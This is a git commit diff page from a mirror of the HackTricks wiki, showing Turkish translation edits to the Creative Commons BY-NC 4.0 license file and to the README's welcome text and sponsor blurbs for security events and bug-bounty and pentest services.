maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md

Browse Source
This commit is contained in:
Translator 2025-01-03 12:42:54 +00:00
parent 72048c668f
commit 13d91fa905
295 changed files with 13463 additions and 16933 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

60
src/LICENSE.md
View File

@ -13,7 +13,7 @@ Formatlama: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/ma
Creative Commons Corporation (“Creative Commons”) bir hukuk firması değildir ve hukuki hizmetler veya hukuki tavsiye sağlamaz. Creative Commons kamu lisanslarının dağıtımı, avukat-müvekkil veya başka bir ilişki oluşturmaz. Creative Commons, lisanslarını ve ilgili bilgileri "olduğu gibi" sunar. Creative Commons, lisansları, bu şartlar ve koşullar altında lisanslanan herhangi bir materyal veya ilgili bilgiler hakkında hiçbir garanti vermez. Creative Commons, bunların kullanımından kaynaklanan zararlar için mümkün olan en geniş ölçüde sorumluluğu reddeder.
## Using Creative Commons Public Licenses
## Creative Commons Kamu Lisanslarının Kullanımı
Creative Commons kamu lisansları, yaratıcıların ve diğer hak sahiplerinin telif hakkına tabi orijinal eserleri ve aşağıdaki kamu lisansında belirtilen belirli diğer hakları paylaşmak için kullanabileceği standart bir terim ve koşul seti sağlar. Aşağıdaki hususlar yalnızca bilgilendirme amaçlıdır, kapsamlı değildir ve lisanslarımızın bir parçasını oluşturmaz.
@ -21,21 +21,21 @@ Creative Commons kamu lisansları, yaratıcıların ve diğer hak sahiplerinin t
- **Kamu için hususlar:** Kamu lisanslarımızdan birini kullanarak, bir lisans veren, kamuya lisanslı materyali belirtilen şartlar ve koşullar altında kullanma izni verir. Lisans verenin izni herhangi bir nedenle gerekli değilse - örneğin, telif hakkına ilişkin herhangi bir geçerli istisna veya sınırlama nedeniyle - o zaman bu kullanım lisansla düzenlenmez. Lisanslarımız yalnızca, bir lisans verenin vermeye yetkili olduğu telif hakkı ve belirli diğer haklar altında izinler verir. Lisanslı materyalin kullanımı, diğer nedenlerle, başkalarının materyal üzerindeki telif hakkı veya diğer hakları nedeniyle hala kısıtlanabilir. Bir lisans veren, tüm değişikliklerin işaretlenmesini veya tanımlanmasını istemek gibi özel taleplerde bulunabilir. Lisanslarımız tarafından zorunlu olmasa da, makul olduğunda bu taleplere saygı göstermeniz teşvik edilir. [Kamu için daha fazla husus](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
# Creative Commons Attribution-NonCommercial 4.0 International Public License
# Creative Commons Attribution-NonCommercial 4.0 International Kamu Lisansı
Lisanslı Hakları (aşağıda tanımlanmıştır) kullanarak, bu Creative Commons Attribution-NonCommercial 4.0 International Kamu Lisansı'nın ("Kamu Lisansı") şartlarına ve koşullarına bağlı kalmayı kabul edersiniz. Bu Kamu Lisansı, bir sözleşme olarak yorumlanabileceği ölçüde, bu şartlara ve koşullara kabulünüz karşılığında Lisanslı Hakları size verir ve Lisans veren, bu şartlar ve koşullar altında Lisanslı Materyali sunmaktan elde ettiği faydalar karşılığında size bu hakları verir.
Lisanslı Hakları (aşağıda tanımlanmıştır) kullanarak, bu Creative Commons Attribution-NonCommercial 4.0 International Kamu Lisansı ("Kamu Lisansı") şartlarına ve koşullarına bağlı kalmayı kabul edersiniz. Bu Kamu Lisansı, bir sözleşme olarak yorumlanabileceği ölçüde, bu şartlara ve koşullara kabulünüz karşılığında Lisanslı Hakları size verir ve Lisans veren, bu şartlar ve koşullar altında Lisanslı Materyali sunmaktan elde ettiği faydalar karşılığında size bu hakları verir.
## Bölüm 1 – Tanımlar.
a. **Uyarlanmış Materyal**; Telif Hakkı ve Benzer Haklara tabi olan, Lisanslı Materyalden türetilen veya ona dayanan ve Lisanslı Materyalin, Lisans verenin sahip olduğu Telif Hakkı ve Benzer Haklar altında izin gerektiren bir şekilde çevrildiği, değiştirildiği, düzenlendiği, dönüştürüldüğü veya başka bir şekilde değiştirildiği materyaldir. Bu Kamu Lisansı açısından, Lisanslı Materyal bir müzik eseri, performans veya ses kaydı olduğunda, Uyarlanmış Materyal her zaman Lisanslı Materyalin hareketli bir görüntü ile zamanlı ilişki içinde senkronize edildiği durumlarda üretilir.
b. **Adaptör Lisansı**; Uyarlanmış Materyale katkılarınızda Telif Hakkı ve Benzer Haklarınıza uyguladığınız lisans anlamına gelir.
b. **Adaptör Lisansı**; Uyarlanmış Materyale katkılarınızda Telif Hakkı ve Benzer Haklarınızı bu Kamu Lisansının şartlarına ve koşullarına uygun olarak uyguladığınız lisans anlamına gelir.
c. **Telif Hakkı ve Benzer Haklar**; telif hakkı ve/veya telif hakkıyla yakından ilişkili benzer haklar anlamına gelir; bunlar arasında, sınırlama olmaksızın, performans, yayın, ses kaydı ve Sui Generis Veri Tabanı Hakları bulunur; hakların nasıl etiketlendiği veya kategorize edildiği dikkate alınmaksızın. Bu Kamu Lisansı açısından, Bölüm 2(b)(1)-(2)'de belirtilen haklar Telif Hakkı ve Benzer Haklar değildir.
c. **Telif Hakkı ve Benzer Haklar**; telif hakkı ve/veya telif hakkıyla yakından ilişkili benzer haklar anlamına gelir; bunlar arasında, sınırlama olmaksızın, performans, yayın, ses kaydı ve Sui Generis Veri Tabanı Hakları bulunur; hakların nasıl adlandırıldığı veya kategorize edildiği dikkate alınmaksızın. Bu Kamu Lisansı açısından, Bölüm 2(b)(1)-(2)'de belirtilen haklar Telif Hakkı ve Benzer Haklar değildir.
d. **Etkin Teknolojik Önlemler**; uygun yetki olmaksızın, 20 Aralık 1996'da kabul edilen WIPO Telif Hakkı Antlaşması'nın 11. Maddesi uyarınca yükümlülükleri yerine getiren yasalar altında aşılmaması gereken önlemleri ifade eder ve/veya benzer uluslararası anlaşmaları.
e. **İstisnalar ve Sınırlamalar**; adil kullanım, adil işlem ve/veya Telif Hakkı ve Benzer Haklara tabi olan Lisanslı Materyali kullanmanız için geçerli olan herhangi bir diğer istisna veya sınırlama anlamına gelir.
e. **İstisnalar ve Sınırlamalar**; adil kullanım, adil işlem ve/veya Telif Hakkı ve Benzer Haklar üzerindeki herhangi bir istisna veya sınırlama anlamına gelir; bu, Lisanslı Materyali kullanmanız için geçerlidir.
f. **Lisanslı Materyal**; Lisans verenin bu Kamu Lisansını uyguladığı sanatsal veya edebi eser, veri tabanı veya diğer materyali ifade eder.
@ -43,11 +43,11 @@ g. **Lisanslı Haklar**; bu Kamu Lisansının şartlarına ve koşullarına tabi
h. **Lisans Veren**; bu Kamu Lisansı altında hakları veren birey(ler) veya varlık(lar) anlamına gelir.
i. **Ticari Olmayan**; esasen ticari avantaj veya maddi tazminat amacı gütmeyen anlamına gelir. Bu Kamu Lisansı açısından, Lisanslı Materyalin, Telif Hakkı ve Benzer Haklar altında başka bir materyal ile dijital dosya paylaşımı veya benzeri yollarla değiştirilmesi Ticari Olmayan olarak kabul edilir, sağlanan değişimle bağlantılı olarak maddi tazminat ödemesi yapılmadığı sürece.
i. **Ticari Olmayan**; esasen ticari avantaj veya maddi tazminat amacı gütmeyen anlamına gelir. Bu Kamu Lisansı açısından, Lisanslı Materyalin, Telif Hakkı ve Benzer Haklar altında başka bir materyal ile dijital dosya paylaşımı veya benzeri yollarla değiştirilmesi Ticari Olmayan olarak kabul edilir; bununla birlikte, değişimle bağlantılı olarak maddi tazminat ödemesi yoktur.
j. **Paylaşmak**; Lisanslı Haklar altında izin gerektiren herhangi bir yöntem veya süreçle materyali kamuya sağlamak, örneğin, çoğaltma, kamuya gösterim, kamu performansı, dağıtım, yayma, iletişim veya ithalat ve materyali kamuya sunmak, kamu üyelerinin materyale kendi seçtikleri bir yerden ve zamanda erişebileceği yollar dahil.
k. **Sui Generis Veri Tabanı Hakları**; Avrupa Parlamentosu ve 11 Mart 1996 tarihli Veri Tabanlarının yasal korunmasına ilişkin 96/9/EC sayılı Direktiften kaynaklanan telif hakkı dışındaki hakları ifade eder; bu haklar, değişiklikler ve/veya halefiyetler ile birlikte, dünyanın herhangi bir yerinde esasen eşdeğer hakları içerir.
k. **Sui Generis Veri Tabanı Hakları**; Avrupa Parlamentosu ve 11 Mart 1996 tarihli Veri Tabanlarının Yasal Korunması Hakkında 96/9/EC sayılı Direktif'ten kaynaklanan telif hakkı dışındaki hakları ifade eder; bu, değişiklikler ve/veya halefiyetler ile birlikte, dünyanın herhangi bir yerinde esasen eşdeğer hakları içerir.
l. **Siz**; bu Kamu Lisansı altında Lisanslı Hakları kullanan birey veya varlık anlamına gelir. "Siz" kelimesinin karşılık gelen bir anlamı vardır.
@ -64,22 +64,22 @@ B. Uyarlanmış Materyali yalnızca Ticari Olmayan amaçlar için üretmek, ço
2. **İstisnalar ve Sınırlamalar.** Şüpheye mahal vermemek için, İstisnalar ve Sınırlamalar sizin kullanımınıza uygulanıyorsa, bu Kamu Lisansı geçerli değildir ve şartlarına ve koşullarına uymanız gerekmez.
3. **Süre.** Bu Kamu Lisansının süresi Bölüm 6(a)'da belirtilmiştir.
4. **Medya ve formatlar; teknik değişikliklere izin verilir.** Lisans veren, Lisanslı Hakları tüm mevcut veya gelecekte oluşturulacak medya ve formatlarda kullanmanıza izin verir ve bunu yapmak için gerekli teknik değişiklikleri yapmanıza izin verir. Lisans veren, Lisanslı Hakları kullanmak için gerekli teknik değişiklikleri yapmanızı engelleme hakkını ve/veya yetkisini feragat eder ve/veya bu tür değişiklikleri yapmanızı engellemeyeceğini kabul eder; bu, Etkin Teknolojik Önlemleri aşmak için gerekli teknik değişiklikleri içerir. Bu Kamu Lisansı açısından, yalnızca bu Bölüm 2(a)(4) tarafından yetkilendirilmiş değişiklikler, Uyarlanmış Materyal üretmez.
4. **Medya ve formatlar; teknik değişikliklere izin verilir.** Lisans veren, Lisanslı Hakları tüm mevcut veya gelecekte oluşturulacak medya ve formatlarda kullanmanıza izin verir ve bunu yapmak için gerekli teknik değişiklikleri yapmanıza izin verir. Lisans veren, Lisanslı Hakları kullanmak için gerekli teknik değişiklikleri yapmanızı engelleme hakkını veya yetkisini feragat eder ve/veya bu konuda herhangi bir hak veya yetkiyi ileri sürmeyeceğini kabul eder; bu, Etkin Teknolojik Önlemleri aşmak için gerekli teknik değişiklikleri de içerir. Bu Kamu Lisansı açısından, yalnızca bu Bölüm 2(a)(4) tarafından yetkilendirilmiş değişiklikler, asla Uyarlanmış Materyal üretmez.
5. **Aşağı akış alıcıları.**
A. **Lisans verenin teklifi – Lisanslı Materyal.** Lisanslı Materyalin her alıcısı, otomatik olarak, bu Kamu Lisansının şartları ve koşulları altında Lisanslı Hakları kullanma teklifi alır.
A. **Lisans verenin teklifi – Lisanslı Materyal.** Lisanslı Materyalin her alıcısı, otomatik olarak Lisans verenin bu Kamu Lisansı şartları ve koşulları altında Lisanslı Hakları kullanma teklifini alır.
B. **Aşağı akış kısıtlamaları yok.** Lisanslı Materyale, Lisanslı Hakları kullanan herhangi bir alıcının kullanımını kısıtlayacak şekilde ek veya farklı şartlar veya koşullar sunamaz veya uygulayamazsınız.
B. **Aşağı akış kısıtlamaları yoktur.** Lisanslı Materyal üzerinde, Lisanslı Hakların herhangi bir alıcısının kullanımını kısıtlayacak şekilde ek veya farklı şartlar veya koşullar sunamaz veya uygulayamazsınız.
6. **Onay yok.** Bu Kamu Lisansında hiçbir şey, sizin veya Lisanslı Materyali kullanımınızın, Lisans veren veya atıf almak üzere belirlenen diğerleri tarafından onaylandığı veya desteklendiği veya resmi bir statü verildiği anlamına gelmez veya böyle yorumlanamaz.
6. **Onay yoktur.** Bu Kamu Lisansında hiçbir şey, sizin veya Lisanslı Materyali kullanımınızın, Lisans veren veya atıf almak üzere belirlenen diğerleri tarafından onaylandığı veya desteklendiği veya resmi bir statü verildiği anlamına gelmez veya böyle yorumlanamaz.
b. **_Diğer haklar._**
1. Ahlaki haklar, bütünlük hakkı gibi, bu Kamu Lisansı altında lisanslanmamıştır; ayrıca tanıtım, gizlilik ve/veya diğer benzer kişilik hakları da lisanslanmamıştır; ancak, mümkün olduğu ölçüde, Lisans veren, Lisanslı Hakları kullanabilmeniz için gerekli olan sınırlı ölçüde, Lisans verenin sahip olduğu bu tür hakları feragat eder ve/veya bu hakları ileri sürmeyeceğini kabul eder.
1. Ahlaki haklar, bütünlük hakkı gibi, bu Kamu Lisansı altında lisanslanmamıştır; ayrıca tanıtım, gizlilik ve/veya diğer benzer kişilik hakları da yoktur; ancak, mümkün olduğu ölçüde, Lisans veren, Lisanslı Hakları kullanabilmeniz için gerekli sınırlı ölçüde Lisans verenin sahip olduğu bu tür hakları feragat eder ve/veya ileri sürmemeyi kabul eder.
2. Patent ve ticari marka hakları bu Kamu Lisansı altında lisanslanmamıştır.
3. Mümkün olduğu ölçüde, Lisans veren, Lisanslı Hakları kullanmanız için sizden telif ücreti talep etme hakkından feragat eder; bu, doğrudan veya herhangi bir gönüllü veya feragat edilebilir yasal veya zorunlu lisanslama düzenlemesi aracılığıyla olabilir. Diğer tüm durumlarda, Lisans veren, bu tür telif ücretlerini toplama hakkını açıkça saklı tutar; bu, Lisanslı Materyalin Ticari Olmayan amaçlar dışında kullanılması durumunda geçerlidir.
3. Mümkün olduğu ölçüde, Lisans veren, Lisanslı Hakları kullanmanız için sizden telif ücreti talep etme hakkından feragat eder; bu, doğrudan veya herhangi bir gönüllü veya feragat edilebilir yasal veya zorunlu lisanslama düzenlemesi aracılığıyla olabilir. Diğer tüm durumlarda, Lisans veren, bu tür telif ücretlerini toplama hakkını açıkça saklı tutar; bu, Lisanslı Materyalin Ticari Olmayan amaçlar dışında kullanılması durumunda da geçerlidir.
## Bölüm 3 – Lisans Şartları.
@ -91,7 +91,7 @@ a. **_Atıf._**
A. Lisans veren tarafından Lisanslı Materyal ile sağlanmışsa, aşağıdakileri korumalısınız:
i. Lisanslı Materyalin yaratıcısının ve atıf almak üzere belirlenen diğerlerinin kimliğini, Lisans verenin talep ettiği makul bir şekilde (belirtilmişse takma adla dahil) tanımlamak;
i. Lisanslı Materyalin yaratıcısının ve atıf alması gereken diğerlerinin kimliğini, Lisans verenin talep ettiği makul bir şekilde belirtmek (belirtilmişse takma adla dahil);
ii. bir telif hakkı bildirimi;
@ -101,13 +101,13 @@ iv. garantilerin reddine atıfta bulunan bir bildirim;
v. Lisanslı Materyale makul ölçüde ulaşılabilir bir URI veya köprü;
B. Lisanslı Materyali değiştirdiyseniz belirtmek ve önceki değişikliklerin bir göstergesini korumak; ve
B. Lisanslı Materyali değiştirdiyseniz belirtin ve önceki değişikliklerin bir göstergesini koruyun; ve
C. Lisanslı Materyalin bu Kamu Lisansı altında lisanslandığını belirtmek ve bu Kamu Lisansının metnini veya URI veya köprüsünü dahil etmek.
C. Lisanslı Materyalin bu Kamu Lisansı altında lisanslandığını belirtin ve bu Kamu Lisansının metnini veya URI veya köprüsünü ekleyin.
2. Bölüm 3(a)(1) şartlarını, Lisanslı Materyali Paylaştığınız ortam, araç ve bağlama dayalı olarak makul bir şekilde yerine getirebilirsiniz. Örneğin, gerekli bilgileri içeren bir kaynağa URI veya köprü sağlamak makul olabilir.
2. Bölüm 3(a)(1) şartlarını, Lisanslı Materyali Paylaştığınız ortam, araç ve bağlama dayalı olarak makul bir şekilde yerine getirebilirsiniz. Örneğin, gerekli bilgileri içeren bir kaynağa URI veya köprü sağlayarak şartları yerine getirmek makul olabilir.
3. Lisans veren tarafından talep edilirse, Bölüm 3(a)(1)(A) tarafından talep edilen bilgilerin herhangi birini makul ölçüde kaldırmalısınız.
3. Lisans veren tarafından talep edilirse, Bölüm 3(a)(1)(A) tarafından talep edilen bilgilerin makul ölçüde kaldırılmasını sağlamalısınız.
4. Ürettiğiniz Uyarlanmış Materyali Paylaşırsanız, uyguladığınız Adaptör Lisansı, Uyarlanmış Materyalin alıcılarının bu Kamu Lisansına uymasını engellememelidir.
@ -115,33 +115,33 @@ C. Lisanslı Materyalin bu Kamu Lisansı altında lisanslandığını belirtmek
Lisanslı Haklar, Lisanslı Materyali kullanmanız için geçerli olan Sui Generis Veri Tabanı Haklarını içeriyorsa:
a. Şüpheye mahal vermemek için, Bölüm 2(a)(1) size, yalnızca Ticari Olmayan amaçlar için veri tabanının tümünü veya önemli bir kısmını çıkartma, yeniden kullanma, çoğaltma ve Paylaşma hakkı verir;
a. Şüpheye mahal vermemek için, Bölüm 2(a)(1) size, yalnızca Ticari Olmayan amaçlar için veri tabanının tümünü veya önemli bir kısmını çıkartma, yeniden kullanma, çoğaltma ve Paylaşma hakkını verir;
b. Eğer Sui Generis Veri Tabanı Haklarına sahip olduğunuz bir veri tabanında veri tabanı içeriğinin tamamını veya önemli bir kısmını dahil ederseniz, o zaman Sui Generis Veri Tabanı Haklarına sahip olduğunuz veri tabanı (ancak bireysel içerikleri değil) Uyarlanmış Materyaldir; ve
c. Veri tabanının tümünü veya önemli bir kısmını Paylaşırsanız, Bölüm 3(a) şartlarına uymalısınız.
Şüpheye mahal vermemek için, bu Bölüm 4, Lisanslı Hakların diğer Telif Hakkı ve Benzer Hakları içerdiği durumlarda bu Kamu Lisansı altındaki yükümlülüklerinizi tamamlar ve değiştirmez.
Şüpheye mahal vermemek için, bu Bölüm 4, Lisanslı Hakların diğer Telif Hakkı ve Benzer Haklar içerdiği durumlarda bu Kamu Lisansı altındaki yükümlülüklerinizi tamamlar ve değiştirmez.
## Bölüm 5 – Garantilerin Reddine ve Sorumluluğun Sınırlandırılmasına İlişkin Feragat.
a. **Aksi takdirde Lisans veren tarafından ayrı olarak üstlenilmedikçe, mümkün olduğu ölçüde, Lisans veren, Lisanslı Materyali olduğu gibi ve mevcut haliyle sunar ve Lisanslı Materyal hakkında hiçbir türde, açık, örtük, yasal veya diğer herhangi bir garanti vermez. Bu, sınırlama olmaksızın, mülkiyet, ticari uygunluk, belirli bir amaca uygunluk, ihlal etmeme, gizli veya diğer kusurların yokluğu, doğruluk veya hata varlığı veya yokluğu ile ilgili garantileri içerir; bunlar biliniyor veya keşfediliyor olsun ya da olmasın. Garantilerin reddedilmesine izin verilmediği durumlarda, bu feragat sizin için geçerli olmayabilir.**
a. **Aksi takdirde Lisans veren tarafından ayrı olarak üstlenilmedikçe, mümkün olduğu ölçüde, Lisans veren, Lisanslı Materyali olduğu gibi ve mevcut haliyle sunar ve Lisanslı Materyal hakkında hiçbir türde, açık, örtük, yasal veya diğer herhangi bir temsil veya garanti vermez. Bu, sınırlama olmaksızın, mülkiyet, ticari uygunluk, belirli bir amaca uygunluk, ihlal etmeme, gizli veya diğer kusurların yokluğu, doğruluk veya hata varlığı veya yokluğu ile ilgili garantileri içerir; bunlar biliniyor veya keşfedilebilir olup olmadığına bakılmaksızın. Garantilerin tamamen veya kısmen reddedilmesine izin verilmediği durumlarda, bu feragat sizin için geçerli olmayabilir.**
b. **Mümkün olduğu ölçüde, Lisans veren, herhangi bir yasal teori (sınırlama olmaksızın, ihmal dahil) veya başka bir şekilde, bu Kamu Lisansı veya Lisanslı Materyalin kullanımı nedeniyle doğan herhangi bir doğrudan, özel, dolaylı, tesadüfi, sonuçsal, cezai, örnek niteliğinde veya diğer kayıplar, maliyetler, harcamalar veya zararlar için size karşı sorumlu olmayacaktır; bu, Lisans verenin bu tür kayıpların, maliyetlerin, harcamaların veya zararların olasılığı hakkında bilgilendirilmiş olması durumunda bile geçerlidir. Sorumluluğun sınırlandırılmasına izin verilmediği durumlarda, bu sınırlama sizin için geçerli olmayabilir.**
b. **Mümkün olduğu ölçüde, Lisans veren, bu Kamu Lisansı veya Lisanslı Materyalin kullanımı nedeniyle ortaya çıkan herhangi bir doğrudan, özel, dolaylı, tesadüfi, sonuçsal, cezai, örnek niteliğinde veya diğer kayıplar, maliyetler, harcamalar veya zararlar için herhangi bir yasal teori (sınırlama olmaksızın, ihmal dahil) veya başka bir şekilde size karşı sorumlu olmayacaktır; bu, Lisans verenin bu tür kayıpların, maliyetlerin, harcamaların veya zararların olasılığı hakkında bilgilendirildiği durumlarda bile geçerlidir. Sorumluluğun sınırlandırılmasına izin verilmediği durumlarda, bu sınırlama sizin için geçerli olmayabilir.**
c. Yukarıda sağlanan garantilerin reddi ve sorumluluğun sınırlandırılması, mümkün olduğu ölçüde, tüm sorumluluğun mutlak bir feragat ve reddi ile en yakın şekilde yorumlanacaktır.
c. Yukarıda sağlanan garantilerin reddi ve sorumluluğun sınırlandırılması, mümkün olduğu ölçüde, tüm sorumluluğun mutlak bir şekilde reddi ve feragatine en yakın şekilde yorumlanacaktır.
## Bölüm 6 – Süre ve Fesih.
a. Bu Kamu Lisansı, burada lisanslanan Telif Hakkı ve Benzer Hakların süresi boyunca geçerlidir. Ancak, bu Kamu Lisansına uymadığınız takdirde, bu Kamu Lisansı altındaki haklarınız otomatik olarak sona erer.
b. Eğer Bölüm 6(a) uyarınca Lisanslı Materyali kullanma hakkınız sona erdiyse, bu hak, aşağıdaki durumlarda otomatik olarak yeniden kazanılır:
b. Eğer Bölüm 6(a) uyarınca Lisanslı Materyali kullanma hakkınız sona erdiyse, bu hak, aşağıdaki durumlarda yeniden kazanılır:
1. ihlalin düzeltildiği tarihten itibaren otomatik olarak, eğer ihlal, ihlali keşfettiğiniz tarihten itibaren 30 gün içinde düzeltilirse; veya
2. Lisans veren tarafından açıkça yeniden kazanılması durumunda.
Şüpheye mahal vermemek için, bu Bölüm 6(b), Lisans verenin bu Kamu Lisansına uymadığınız durumlarda herhangi bir çözüm arama hakkını etkilemez.
Şüpheye mahal vermemek için, bu Bölüm 6(b) Lisans verenin bu Kamu Lisansına uymamanız nedeniyle arama yapma hakkını etkilemez.
c. Şüpheye mahal vermemek için, Lisans veren ayrıca Lisanslı Materyali ayrı şartlar veya koşullar altında sunabilir veya Lisanslı Materyali dağıtmayı herhangi bir zamanda durdurabilir; ancak, bunu yapmak bu Kamu Lisansını sona erdirmeyecektir.
@ -149,7 +149,7 @@ d. Bölüm 1, 5, 6, 7 ve 8, bu Kamu Lisansının sona ermesinden sonra geçerlil
## Bölüm 7 – Diğer Şartlar ve Koşullar.
a. Lisans veren, siz tarafından iletilen ek veya farklı şartlar veya koşullara bağlı değildir; ancak açıkça kabul edilmedikçe.
a. Lisans veren, siz tarafından iletilen ek veya farklı şartlar veya koşullara bağlı değildir; aksi açıkça kabul edilmedikçe.
b. Burada belirtilmeyen Lisanslı Materyal ile ilgili herhangi bir düzenleme, anlayış veya anlaşma, bu Kamu Lisansının şartlarından ve koşullarından ayrı ve bağımsızdır.
@ -157,11 +157,11 @@ b. Burada belirtilmeyen Lisanslı Materyal ile ilgili herhangi bir düzenleme, a
a. Şüpheye mahal vermemek için, bu Kamu Lisansı, Lisanslı Materyali, bu Kamu Lisansı altında izin olmaksızın yasal olarak yapılabilecek herhangi bir kullanımını azaltmaz, sınırlamaz, kısıtlamaz veya koşul getirmez.
b. Mümkün olduğu ölçüde, bu Kamu Lisansının herhangi bir hükmü uygulanamaz olarak kabul edilirse, uygulanabilir hale getirmek için gerekli olan en az ölçüde otomatik olarak yeniden düzenlenecektir. Eğer hüküm yeniden düzenlenemezse, bu Kamu Lisansından ayrılacak ve kalan şartların ve koşulların uygulanabilirliğini etkilemeyecektir.
b. Mümkün olduğu ölçüde, bu Kamu Lisansının herhangi bir hükmü uygulanamaz olarak kabul edilirse, uygulanabilir hale getirmek için gerekli en az ölçüde otomatik olarak yeniden düzenlenecektir. Eğer hüküm yeniden düzenlenemezse, bu Kamu Lisansından ayrılacak ve kalan şartların ve koşulların uygulanabilirliğini etkilemeyecektir.
c. Bu Kamu Lisansının hiçbir şartı veya koşulu feragat edilmez ve hiçbir uyumsuzluk kabul edilmez; ancak, Lisans veren tarafından açıkça kabul edilmedikçe.
c. Bu Kamu Lisansının hiçbir şartı veya koşulu feragat edilmeyecek ve hiçbir uyumsuzluk kabul edilmeyecek; aksi açıkça Lisans veren tarafından kabul edilmedikçe.
d. Bu Kamu Lisansında hiçbir şey, Lisans veren veya sizin için geçerli olan herhangi bir ayrıcalık ve dokunulmazlık üzerinde bir sınırlama veya feragat olarak yorumlanamaz; bu, herhangi bir yargı veya otoritenin yasal süreçlerinden muafiyet dahil.
d. Bu Kamu Lisansı altında hiçbir şey, Lisans veren veya sizin için geçerli olan herhangi bir ayrıcalık ve dokunulmazlık üzerinde bir sınırlama veya feragat olarak yorumlanamaz; bu, herhangi bir yargı veya otoritenin yasal süreçlerinden muafiyet dahil.
```
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.

22
src/README.md
View File

@ -9,7 +9,7 @@ _Hacktricks logoları ve hareket tasarımı_ [_@ppiernacho_](https://www.instagr
> [!TIP]
> **CTF'lerden, gerçek yaşam uygulamalarından, araştırmaları okumaktan ve haberlerden öğrendiğim her hacking hilesini/tekniklerini/bir şeyleri bulacağınız wiki'ye hoş geldiniz.**
Başlamak için, **bir veya daha fazla makineyi pentest ederken takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin:
Başlamak için, **bir veya daha fazla makineyi pentest ederken** **takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin:
{{#ref}}
generic-methodologies-and-resources/pentesting-methodology.md
@ -33,7 +33,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -45,7 +45,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.**
**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -84,7 +84,7 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -94,14 +94,14 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi**, **arama motoru sonuçlarına** erişim sağlamak için hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
**SerpApi**, **arama motoru sonuçlarına** hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\
SerpApi'nın planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları, arama sonuçlarında bulunan tüm reklamları, satır içi resimleri ve videoları, bilgi grafiklerini ve diğer öğeleri ve özellikleri sürekli olarak içerir.
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\
Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\
